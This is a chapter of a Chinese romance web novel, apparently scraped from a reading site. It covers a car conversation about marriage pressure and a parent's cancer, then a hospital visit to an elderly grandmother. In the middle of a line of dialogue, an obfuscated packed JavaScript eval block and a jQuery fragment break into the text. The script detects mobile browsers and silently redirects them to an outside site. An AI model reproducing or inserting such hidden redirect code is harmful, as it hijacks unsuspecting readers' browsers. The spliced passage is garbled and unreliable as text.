“对不起什么?”
“人是我推给你的啊。”
冉思沐毫不介意地裹紧外套,淡淡道:“小事情,你又不是专业干这个的,况且你来之前,我已经出过气了。”
裴岘禹轻轻哼笑了声,没再回话。
沉默间他们离开咖啡馆,马路边,冉思沐一眼就认出地库曾见过的那辆跑车。
她呆站一旁,有些局促,确实没坐过这么贵的车,她搜罗一圈也没看见车把手。
裴岘禹习惯性地走向主驾,绕过车头时才想起来还带了个人,于是又折回她身边,手摸进缝隙里轻轻一摁,漂亮高级的蝴蝶门打开,他看了眼冉思沐身上的裙子,挡在车门旁。
“车矮,你压着点衣服。”
人陷进座倚里,门高扬着,她不敢乱碰。
裴岘禹也上了车,瞟向副驾,然后倾身抓住把手轻轻一带,电吸门很容易就关上了。
车内饰简洁,也没有任何香薰味道,视野通透但空间狭小,还是有些压抑发闷。
裴岘禹系好安全带,一键启动车子,“去哪?送你回家?还是跟我去兜风?”
“算了吧,你们炸街的动静能要我命。”
冉思沐也慢吞吞地系好安全带,她没说去哪,车便停在原地不动。
她看着触控面板,突然问:“你说,那种所谓的高端相亲局,靠谱吗?”
裴岘禹摸摸耳骨钉,漫不经心地反问:“男方要验资,女方也要面试的,你觉得能好进?”
他听见一声叹气,“不是秃顶就是大肚腩,矮胖子又装又抠,高瘦子又虚又弱,人模狗样的思想龌龊,稳重一点的离异带娃……真没劲。”
裴司机一挑眉,笑问:“所以男人都这行情了,这婚还是非结不可?”
她沉默了很久。
冉思沐望着窗外,喃喃自语:“你那时在国外,可能还不知道,你巧英姨做了结肠切除手术,化疗一年了,节前刚去复查过,虽说目前状况良好,但我清楚,是有复发可能的。”
没人和他提过,裴岘禹确实不知道,所以他非常震惊,“癌???”
冉思沐默默点头。
裴岘禹知道她向来是个以家庭为重的人,他突然想到妈留下的那封满含遗憾愧疚的遗书,对于冉思沐的急迫理解了一半,但也只有一半。
“你想在有限时间内,尽可能满足她的心愿,学业、事业、结婚、生子……可我觉得,巧英姨唯一的心愿,就是希望你幸福。”
冉思沐辩了一句,“可其实她思想传统得很。”
裴岘禹摘了那枚碎钻在指尖把玩,语气里是罕见的成熟,“思想再传统她也是爱你的,你的未来不该是为满足谁愿望的委曲求全,天大地大,自己最大。”
她知道裴岘禹是在宽慰她,也许他说得对,但她不能全部认同,说到底,他们两个不是一路人,尿不到一个壶里去。
冉思沐没有反驳,也没有接话,她只自言自语,“上哪找个愿意不谈情的正常男人跟我结婚生孩子呢?”
车内又陷入寂静,只有处于怠速的车身嗡鸣。
她突然转头看向驾驶位的男人。
“你别说,垃圾看多了,再看你好像也没那么差劲。”
裴岘禹被看得心里直腾腾,他靠向车门,一股脑把心里话全吐露出来,跟免责声明似的——
“你看我干什么?我说了我不结婚的。我可是享乐的人,吃不得生活的苦,外面乱花迷人眼都留不住我我怎么可能被老婆拴住?还再来个孩子?不可能。而且你也说了,咱俩要保持距离,你不能因为我亲过你就……是吧?那你还看过我身子呢我也没让你掏钱啊……不合适。”
冉思沐冷笑,一个平A他直接交闪交大了。
“跟你结婚?少自作多情了,烂泥一坨,扶不上墙。送我回家吧,谢谢。”
/
假期结束,冉思沐开始了实习生活,不情不愿的裴岘禹也正式入职易鸿旗下的旅游公司,一个挂名副总,倒是清闲。
春节短暂的交集后,他们之间就像团圆的热闹气氛骤降至班味十足的冰点,再没什么联系的必要。
开春后,天气渐暖,冉思沐作为技术推广员参与枰良西郊茶园的病虫害防控,时常泡在基地里和茶农打交道,三不五时地开培训讲座,辅助专家大搞现场示范。
裴岘禹除了参加公司的日常例会,再对促销方案指手画脚一番,更多的是借考察为名,带队去了很多不知名的海岛和新开发的旅游项目,公款吃喝玩乐。
在彼此的微信列表里互为“尸体”,除了偶尔在朋友圈里点赞“偶遇”。
裴岘禹永远是精修的九宫格夹一张很有意境的他拍照,文案也永远是很简短很装逼让人看不懂的法语单词;
冉思沐依旧是推不完的讲座和研究所的公众号文章分享,学术十足。
时间在指尖流转,转眼已是初夏。
正在紧锣密鼓准备论文答辩的冉思沐突然久违地收到裴岘禹的信息——
「奶奶住院了,枰大附属二院,来的话提前告诉我。」
恰逢周末,冉思沐立刻撒开笔记本,回完消息火速换好衣服,“妈,中午不用等我吃饭了。”
杨巧英握着饭铲子从厨房奔出来,“怎么了?所里有事情?大周末的还加班?”
她随手拢起长发夹在脑后,着急忙慌穿上鞋,“姚奶奶住院了,我去看看。”
“又住——”
杨巧英话没说完,“哎”了两声,“这老太太也八十的人了,年前不就住了回院……还是心脏问题啊?”
冉思沐披上外套,四处翻找车钥匙,“不清楚,具体的裴岘禹没跟我说。”
扭身回厨房的人顿住脚,小跑追到玄关,“你俩还联系呢?”
“没啊,就是奶奶住院了,他告诉我一声,平时都忙得脚不沾地,哪有时间和他扯皮。”
小老太太将信将疑地点点头,“嗯,再忙,也要抽出时间处理人情世故嘛,你在茶庄认识的那个什么师哥,哪天带家来吃顿饭呗?”
冉思沐收拾妥当,看向又瘦了很多的妈妈,应声道:“嗯,我先去医院了,妈你用火小心。”
“我个老婆子了还用你操这个心?快去快回哦。”
驱车来到二院,裴岘禹在住院楼下等她。
几个月不见,男人还是那样潇洒俊逸,不见半分被工作磋磨的疲乏,只是面色不佳,话也很少。
他接过冉思沐买来的水果,领她进大楼,等电梯的空档才有了第一句问候。
“所里忙吗?”
“不忙,奶奶怎么样?”
“老毛病,倒也不严重,就是年纪大了,稍微受点风寒身体就吃不消了,医生让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495678|170170||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住院观察。”
电梯到,他们进入轿厢,裴岘禹摁了15楼。
冉思沐亦步亦趋跟在他身侧,偷眼瞄他,安慰一句,“奶奶吉人自有天相,会没事的。”
VIP特护病房,裴书南在外间的沙发上削苹果,谢容在里间端着粥喂食。
听见房门响,裴书南抬头望过来,愣了一瞬扬起笑,“思沐姐,好久不见。”
“书南也在呀?”
“嗯,周末休息,学校没什么事。”
病床上的姚兰君听见是冉思沐来了,推开谢容端着的粥忙冲她招手,“小沐快来快来。”
谢容见她这副热络亲切的样子,心里免不了比较姚兰君对程芝的态度,悄悄翻个白眼,咒了句老不死的,只是面上还笑得温和,冲走近的冉思沐点点头。
“奶奶,感觉怎么样啊?”
冉思沐搬椅子坐在床边,姚兰君扎了留置针的手覆上她的,轻拍两下,“没什么大碍,你还又特地跑一趟,吃饭了吗?”
“吃了,路上吃了口。”
姚兰君笑看着她,打发谢容去吃午饭,屋里只剩三个小辈,但裴岘禹是个坐不住的,刚巧公司助理来电话,一把手不在,和市场部的讨论会就只能他这个副的顶上了。
“奶奶,公司有事,我过去一趟,下午回来陪您。”
姚兰君上下扫量他,瞪了一眼,“这会儿倒有事业心了……你身上那身皮赶紧给我扒了!瞅着就闹心!你没正儿八经的西装吗!”
“好好好,我订,我现在就订,您不生气嗷~”
哄小孩儿似的。
裴书南没走,乖乖坐在内室角落,削着刚才没削完的水果,细心切成块,放在奶奶和冉思沐都够得到的柜子上。
“小沐呀,平时工作忙吗?之前你在宁江读书就不说了,可眼下你都回枰城了,怎么也好几个月都不来家看看我……”
冉思沐扎了块苹果喂给她,“有点忙,休息的时候还要改论文。”
老太太又问了问杨巧英的状况,“你妈妈怎么样,还稳定吧?”
“嗯,还在吃药,定期复查。”
“她也是不容易,吃苦吃了大半辈子,好不容易熬出来了……哎。”
冉思沐垂眼,默不作声,视线里突然闯进只漂亮的手,和它的主人一样温润,指节分明,修长白皙,摊开的掌心里躺着两颗她爱吃的草莓。
她望向裴书南,冲他笑笑,沉重的心情被唇齿间的水果甜味冲淡。
“千万别嫌奶奶唠叨,每次一提这个我家那逆子就不耐烦地跟我顶嘴,你说嘛,我们做长辈的能有什么坏心?无非观念老了点,就希望子孙儿女能有个好归宿,百年之后也就没啥牵挂的了……”
冉思沐帮她掖掖被子,“姚奶奶可是要长命百岁的有福人,咱们不讲这些,裴岘禹不急那我就抓点紧,早早给您带喜糖来吃。”
姚兰君一听这话,愣了愣,带有几分期待地问:“有眉目了这是?”
她点点头,“有个正在接触的同事,最近一起做项目,也是我同门毕业的师哥,人还不错,认识快两个月了。”
裴书南也是一愣,没等老太太问话便急切地开口,“姐”都没喊。
“你、你有男朋友了?”
姚兰君的目光转移到自家小孙子身上,看着他脸上的震惊和失落,若有所思。